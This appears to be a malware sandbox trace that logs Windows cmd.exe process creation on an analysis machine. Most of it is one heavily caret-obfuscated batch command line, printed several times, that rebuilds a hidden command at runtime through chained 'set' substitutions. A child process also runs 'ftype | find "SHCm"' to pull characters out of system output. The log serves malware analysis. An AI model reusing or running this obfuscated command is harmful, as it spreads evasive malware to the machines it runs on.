^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( , ( , (^s^e^t ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) ) , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x22edf0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="Cmd , ; ; ; pPuxarv/VCsv40blbkn , cw8f/r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( , ( , (^s^e^t ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) ) , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x22eda0 | out: lpCommandLine="Cmd , ; ; ; pPuxarv/VCsv40blbkn , cw8f/r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( , ( , (^s^e^t ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) ) , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=", lpProcessInformation=0x22eda0*(hProcess=0x54, hThread=0x60, dwProcessId=0xb04, dwThreadId=0xb08)) returned 1 [0102.064] CloseHandle (hObject=0x60) returned 1 [0102.064] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0102.064] GetEnvironmentStringsW () returned 0x37eb60* [0102.064] FreeEnvironmentStringsW (penv=0x37eb60) returned 1 [0102.064] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0125.596] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x22ece8 | out: lpExitCode=0x22ece8*=0x0) returned 1 [0125.596] CloseHandle (hObject=0x54) returned 1 [0125.596] _vsnwprintf (in: _Buffer=0x22ef58, _BufferCount=0x13, _Format="%08X", _ArgList=0x22ecf8 | out: _Buffer="00000000") returned 8 [0125.596] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0125.597] GetEnvironmentStringsW () returned 0x3900b0* [0125.597] FreeEnvironmentStringsW (penv=0x3900b0) returned 1 [0125.597] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0125.597] GetEnvironmentStringsW () returned 0x3900b0* [0125.597] FreeEnvironmentStringsW (penv=0x3900b0) returned 1 [0125.597] DeleteProcThreadAttributeList (in: lpAttributeList=0x22edb8 | out: lpAttributeList=0x22edb8) [0125.597] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.597] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0125.597] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.597] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 1 [0125.597] _get_osfhandle (_FileHandle=0) returned 0x3 [0125.597] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0125.598] SetConsoleInputExeNameW () returned 0x1 [0125.598] GetConsoleOutputCP () returned 0x1b5 [0125.598] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0125.598] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0125.598] exit (_Code=0) Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x5750d000" os_pid = "0xae0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xac0" cmd_line = "C:\\Windows\\system32\\cmd.exe /c ^f^t^Yp^e | ^f^IN^d \"SHCm\" " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 958 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 959 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" 